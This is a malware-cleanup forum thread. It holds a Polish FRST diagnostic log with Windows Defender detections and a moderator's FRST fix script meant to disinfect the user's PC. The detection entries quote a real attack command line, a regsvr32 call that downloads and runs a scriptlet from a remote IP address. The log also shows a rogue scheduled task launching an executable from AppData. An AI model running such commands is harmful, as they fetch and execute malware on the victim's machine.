Nazwa procesu: C:\Windows\explorer.exe
Wersja analizy zabezpieczeń: AV: 1.321.346.0, AS: 1.321.346.0, NIS: 1.321.346.0
Wersja aparatu: AM: 1.1.17300.4, NIS: 1.1.17300.4

Date: 2020-08-01 19:11:01.275
Description:
Produkt Program antywirusowy Windows Defender wykrył złośliwe oprogramowanie lub inne potencjalnie niechciane oprogramowanie.
Aby uzyskać więcej informacji, zobacz:
 
                   Trojan:PowerShell/Mountsi.A!ml threat description - Microsoft Security Intelligence            
Nazwa: Trojan:powerShell/Mountsi.A!ml
Identyfikator: 2147726489
Ważność: Poważny
Kategoria: Koń trojański
Ścieżka: amsi:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Pochodzenie wykrycia: Nieznane
Typ wykrycia: FastPath
Źródło wykrycia: AMSI
Użytkownik: DESKTOP-R2QR190\Oliwer
Nazwa procesu: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wersja analizy zabezpieczeń: AV: 1.321.346.0, AS: 1.321.346.0, NIS: 1.321.346.0
Wersja aparatu: AM: 1.1.17300.4, NIS: 1.1.17300.4

Date: 2020-08-01 19:11:01.076
Description:
Produkt Program antywirusowy Windows Defender wykrył złośliwe oprogramowanie lub inne potencjalnie niechciane oprogramowanie.
Aby uzyskać więcej informacji, zobacz:
 
                   Trojan:Win32/Powemet.A!attk threat description - Microsoft Security Intelligence            
Nazwa: Trojan:Win32/Powemet.A!attk
Identyfikator: 2147725438
Ważność: Poważny
Kategoria: Koń trojański
Ścieżka: CmdLine:_C:\Windows\System32\regsvr32.exe /u /s /i:http://185.10.68.147/win/php/func.php scrobj.dll
Pochodzenie wykrycia: Nieznane
Typ wykrycia: Konkretne
Źródło wykrycia: System
Użytkownik: ZARZĄDZANIE NT\SYSTEM
Nazwa procesu: Unknown
Wersja analizy zabezpieczeń: AV: 1.321.346.0, AS: 1.321.346.0, NIS: 1.321.346.0
Wersja aparatu: AM: 1.1.17300.4, NIS: 1.1.17300.4

Date: 2020-08-01 19:11:01.073
Description:
Produkt Program antywirusowy Windows Defender wykrył złośliwe oprogramowanie lub inne potencjalnie niechciane oprogramowanie.
Aby uzyskać więcej informacji, zobacz:
 
                   Trojan:Win32/Powemet.A!attk threat description - Microsoft Security Intelligence            
Nazwa: Trojan:Win32/Powemet.A!attk
Identyfikator: 2147725438
Ważność: Poważny
Kategoria: Koń trojański
Ścieżka: CmdLine:_C:\Windows\System32\regsvr32.exe /u /s /i:http://185.10.68.147/win/php/func.php scrobj.dll
Pochodzenie wykrycia: Nieznane
Typ wykrycia: Konkretne
Źródło wykrycia: System
Użytkownik: ZARZĄDZANIE NT\SYSTEM
Nazwa procesu: Unknown
Wersja analizy zabezpieczeń: AV: 1.321.346.0, AS: 1.321.346.0, NIS: 1.321.346.0
Wersja aparatu: AM: 1.1.17300.4, NIS: 1.1.17300.4

Date: 2020-08-01 17:11:01.370
Description:
Produkt Program antywirusowy Windows Defender wykrył złośliwe oprogramowanie lub inne potencjalnie niechciane oprogramowanie.
Aby uzyskać więcej informacji, zobacz:
 
                   Trojan:Win32/Powemet.A!attk threat description - Microsoft Security Intelligence            
Nazwa: Trojan:Win32/Powemet.A!attk
Identyfikator: 2147725438
Ważność: Poważny
Kategoria: Koń trojański
Ścieżka: CmdLine:_C:\Windows\System32\regsvr32.exe /u /s /i:http://185.10.68.147/win/php/func.php scrobj.dll
Pochodzenie wykrycia: Nieznane
Typ wykrycia: Konkretne
Źródło wykrycia: System
Użytkownik: ZARZĄDZANIE NT\SYSTEM
Nazwa procesu: Unknown
Wersja analizy zabezpieczeń: AV: 1.321.346.0, AS: 1.321.346.0, NIS: 1.321.346.0
Wersja aparatu: AM: 1.1.17300.4, NIS: 1.1.17300.4

Date: 2020-07-31 22:28:48.965
Description:
Produkt Program antywirusowy Windows Defender napotkał błąd podczas próby przekazania podejrzanego pliku do dalszej analizy.
Nazwa pliku: C:\Users\Oliwer\AppData\Local\Temp\7BE3.tmp.exe
Sha256: 1758b2f3468b525eac5ef9354be351b4c77afd4c05c8b706dc9492c3371a75d2
Bieżąca wersja analizy zabezpieczeń: AV: 1.321.288.0, AS: 1.321.288.0
Bieżąca wersja aparatu: 1.1.17300.4
Kod błędu: 0x80508016

CodeIntegrity:
===================================

Date: 2020-08-07 01:05:47.075
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Date: 2020-08-07 01:05:47.072
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Date: 2020-08-07 01:05:47.064
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Date: 2020-08-07 01:03:52.505
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Date: 2020-08-07 01:03:50.069
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Date: 2020-08-07 01:03:49.887
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Date: 2020-08-07 01:03:49.836
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Date: 2020-08-07 01:03:49.831
Description:
Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\Program Files\ESET\ESET Security\eamsi.dll because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

==================== Statystyki pamięci ===========================

BIOS: American Megatrends Inc. 1.71 10/30/2019
Płyta główna: Micro-Star International Co., Ltd. MPG Z390 GAMING PRO CARBON AC (MS-7B17)
Procesor: Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz
Procent pamięci w użyciu: 28%
Całkowita pamięć fizyczna: 24510.21 MB
Dostępna pamięć fizyczna: 17521.04 MB
Całkowita pamięć wirtualna: 28094.21 MB
Dostępna pamięć wirtualna: 18840.34 MB

==================== Dyski ================================

Drive c: () (Fixed) (Total:930.95 GB) (Free:239.41 GB) NTFS

\\?\Volume{b156b08f-0000-0000-0000-100000000000}\ (Zastrzeżone przez system) (Fixed) (Total:0.57 GB) (Free:0.11 GB) NTFS

==================== MBR & Tablica partycji ====================

==========================================================
Disk: 0 (MBR Code: Windows 7/8/10) (Size: 931.5 GB) (Disk ID: B156B08F)
Partition 1: (Active) - (Size=579 MB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=930.9 GB) - (Type=07 NTFS)

==================== Koniec Addition.txt =======================
 
Last edited by a moderator:
  • copy the content of the code box below.
  • Run FRST (FRST64) as an administrator.
  • Click Fix Fix once (!) and wait. The program will create a log file (Fixlog.txt). Attach it to your next message.

Code:
Start::
CloseProcesses:
SystemRestore: On
CreateRestorePoint:
RemoveProxy:
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Ograniczenia <==== UWAGA
Task: {40FE53A6-E399-4A5E-B5BE-E6517A430E84} - System32\Tasks\CClaner optimize => cmd /c start %appdata%\mc.exe
Task: {A12D22EE-9B54-463B-9865-48173B572340} - System32\Tasks\npcapwatchdog => C:\Program Files\Npcap\CheckStatus.bat [862 2019-04-30] () [Brak podpisu cyfrowego]
Task: {D45C14C8-83FF-4327-A958-FA9AFFA17311} - System32\Tasks\USER_ESRV_SVC_QUEENCREEK => "C:\Windows\System32\Wscript.exe" //B //NoLogo \Program Files\Intel\SUR\QUEENCREEK\x64\task.vbs"
S3 7ByteIo; \??\C:\Program Files (x86)\Hot CPU Tester Pro 4 LE\SysInfoX64.sys [X]
U3 iswSvc; Brak ImagePath
U4 npcap_wifi; Brak ImagePath
020-07-31 16:55 - 2020-07-31 22:29 - 000000947 _____ C:\Users\Oliwer\Desktop\start.bat
2020-08-07 01:05 - 2019-03-19 14:24 - 000707664 _____ C:\Windows\system32\perfh015.dat
2020-08-07 01:05 - 2019-03-19 14:24 - 000138926 _____ C:\Windows\system32\perfc015.dat
2020-07-22 03:30 - 2020-05-16 00:49 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\GG
2020-07-22 03:30 - 2020-05-16 00:49 - 000000000 ____D C:\Users\Oliwer\AppData\Local\GG

ContextMenuHandlers1: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} =>  -> Brak pliku
ContextMenuHandlers1: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> Brak pliku
ContextMenuHandlers3: [{4A7C4306-57E0-4C0C-83A9-78C1528F618C}] -> {4A7C4306-57E0-4C0C-83A9-78C1528F618C} =>  -> Brak pliku
ContextMenuHandlers4: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} =>  -> Brak pliku
ContextMenuHandlers6: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> Brak pliku
FirewallRules: [{D1A2C7F8-426A-46EA-9E93-9587171D1587}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe => Brak pliku
FirewallRules: [TCP Query User{D9926168-7AA4-4557-819F-EF130DC313D8}C:\program files\android\android studio\jre\bin\java.exe] => (Allow) C:\program files\android\android studio\jre\bin\java.exe => Brak pliku
FirewallRules: [UDP Query User{7CED27F9-1041-448A-B914-434491CB94EA}C:\program files\android\android studio\jre\bin\java.exe] => (Allow) C:\program files\android\android studio\jre\bin\java.exe => Brak pliku
FirewallRules: [TCP Query User{AFA77947-4C01-4997-8AD9-5AF3B7B2CAC4}C:\program files\java\jre1.8.0_251\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Brak pliku
FirewallRules: [UDP Query User{F0AECC27-F435-4B9C-A61C-964EF88C1ECF}C:\program files\java\jre1.8.0_251\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Brak pliku
FirewallRules: [TCP Query User{13D09162-BA10-45F7-951F-3BECA62D39CE}C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe] => (Allow) C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe => Brak pliku
FirewallRules: [UDP Query User{28BBE9FC-E65E-4827-9575-5A00A0A90BCD}C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe] => (Allow) C:\program files (x86)\common files\oracle\java\javapath_target_75336046\java.exe => Brak pliku
FirewallRules: [TCP Query User{6F4ADF5C-D075-4FFF-BB3C-4A0EED4BAE4B}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe => Brak pliku
FirewallRules: [UDP Query User{A57EC64A-4863-4447-8F8C-5128657138A6}C:\program files\logitech gaming software\lcore.exe] => (Allow) C:\program files\logitech gaming software\lcore.exe => Brak pliku
FirewallRules: [TCP Query User{DABECB1D-9AC3-46FA-AFA6-9772350A0591}C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe] => (Allow) C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe => Brak pliku
FirewallRules: [UDP Query User{D9D3D324-D1C2-47EC-8A09-CDE3E24C9299}C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe] => (Allow) C:\users\oliwer\appdata\local\programs\opera gx\67.0.3575.130\opera.exe => Brak pliku
FirewallRules: [TCP Query User{34A7258B-D9DA-4B94-B175-C5EEDB69C9E5}C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe] => (Allow) C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe => Brak pliku
FirewallRules: [UDP Query User{FE3460B1-49D8-4D9B-8C42-A6B01E90477D}C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe] => (Allow) C:\users\oliwer\appdata\local\fivem\fivem.app\cache\subprocess\fivem_gtaprocess.exe => Brak pliku
FirewallRules: [TCP Query User{574E3D82-1116-48E3-9246-89D4D32D6136}C:\users\oliwer\desktop\a\terrariaserver.exe] => (Allow) C:\users\oliwer\desktop\a\terrariaserver.exe => Brak pliku
FirewallRules: [UDP Query User{8A792EB3-419B-4F01-8A18-EDA15AAA6952}C:\users\oliwer\desktop\a\terrariaserver.exe] => (Allow) C:\users\oliwer\desktop\a\terrariaserver.exe => Brak pliku
FirewallRules: [{BC67A9C8-843F-46CF-BB82-5A804D517FBD}] => (Allow) C:\Program Files (x86)\Apowersoft\ApowerRecover\ApowerRecover.exe => Brak pliku
FirewallRules: [{DCE92A5D-4767-4B3C-8C12-CE68C0113BEC}] => (Allow) C:\Program Files (x86)\Apowersoft\ApowerRecover\ApowerRecover.exe => Brak pliku
FirewallRules: [{DE773CAD-9E72-4E35-8D7C-098DE52D5565}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Planet Coaster\PlanetCoaster.exe => Brak pliku
FirewallRules: [{EC7AE46A-CF6D-40AB-9547-6F8BFDA743BB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Planet Coaster\PlanetCoaster.exe => Brak pliku
FirewallRules: [{86223316-B7FC-48E2-8A2C-FFD123C76672}] => (Allow) C:\Program Files\BlueStacks\HD-Player.exe => Brak pliku
FirewallRules: [TCP Query User{8953F551-2995-467B-AF7F-FCAE830D043A}C:\program files\lghub\lghub_agent.exe] => (Allow) C:\program files\lghub\lghub_agent.exe => Brak pliku
FirewallRules: [UDP Query User{46336E6E-4371-4850-B712-94F314BADDAA}C:\program files\lghub\lghub_agent.exe] => (Allow) C:\program files\lghub\lghub_agent.exe => Brak pliku
FirewallRules: [{73C1A89B-AF5A-474B-ABB2-7AF7B57A7C4D}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [{7F414ADA-CD83-4F07-9F61-4EBC6EB74146}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [{1B3DFBC9-B53D-45DA-81F8-679EFB5791AC}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [{C5517784-503F-48CD-A518-AD2A211C2D4B}] => (Allow) C:\Program Files (x86)\CheckPoint\ZoneAlarm\vsmon.exe => Brak pliku
FirewallRules: [TCP Query User{0DC3CA28-BECC-46C3-8500-995BD6AD823B}C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe => Brak pliku
FirewallRules: [UDP Query User{F6878B01-64DB-4AD6-8F65-DA8F0C8882DB}C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\the beast inside\thebeastinside\binaries\win64\thebeastinside-win64-shipping.exe => Brak pliku
Task: {40FE53A6-E399-4A5E-B5BE-E6517A430E84} - System32\Tasks\CClaner optimize => cmd /c start %appdata%\mc.exe 
CMD: del /s /q C:\Windows\SoftwareDistribution\download\*.*
CMD: del /s /q "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Cache\*.*"
CMD: del /s /q "%userprofile%\AppData\Local\temp\*.*"
CMD: ipconfig /flushdns
C:\Windows\Temp\*.*
C:\WINDOWS\system32\*.tmp
C:\WINDOWS\syswow64\*.tmp
emptytemp:
Reboot:
End::
 
Status
Not open for further replies.